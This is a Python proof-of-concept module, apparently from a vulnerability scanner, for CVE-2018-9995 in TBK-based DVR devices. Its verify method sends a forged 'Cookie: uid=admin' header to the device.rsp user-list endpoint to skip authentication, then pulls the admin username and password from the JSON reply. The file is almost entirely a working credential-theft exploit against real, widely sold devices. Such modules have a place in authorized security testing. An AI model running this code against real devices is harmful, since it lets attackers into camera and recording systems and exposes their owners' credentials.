import requests

from loguru import logger

from .base import POCTemplate


class CVE_2018_9995(POCTemplate):

    def __init__(self, config):
        super().__init__(config)
        self.name = self.get_file_name(__file__)
        self.product = config.product['dvr']
        self.product_version = ''
        self.ref = """
        https://www.exploit-db.com/exploits/44577/
        https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9995
        """
        self.level = POCTemplate.level.high
        self.desc = """
        TBK DVR4104 and DVR4216 devices, as well as Novo, CeNova, QSee, Pulnix,
        XVR 5 in 1, Securus, Night OWL, DVR Login, HVR Login, and MDVR Login,
        which run re-branded versions of the original TBK DVR4104 and DVR4216 series,
        allow remote attackers to bypass authentication via a "Cookie: uid=admin" header,
        as demonstrated by a device.rsp?opt=user&cmd=list request that provides
        credentials within JSON data in a response.
        """

    def verify(self, ip, port=80):
        headers = {'Connection': 'close', 'User-Agent': self.config.user_agent, 'Cookie': 'uid=admin'}
        url = f"http://{ip}:{port}/device.rsp?opt=user&cmd=list"
        try:
            r = requests.get(url, timeout=self.config.timeout, verify=False, headers=headers, allow_redirects=False)
            if r.status_code == 200:
                lst = r.json()['list'][0]
                user, password = lst['uid'], lst['pwd']
                return ip, str(port), self.product, str(user), str(password), self.name
        except Exception as e:
            logger.error(e)
        return None

    def exploit(self, results):
        pass


POCTemplate.register_poc(CVE_2018_9995)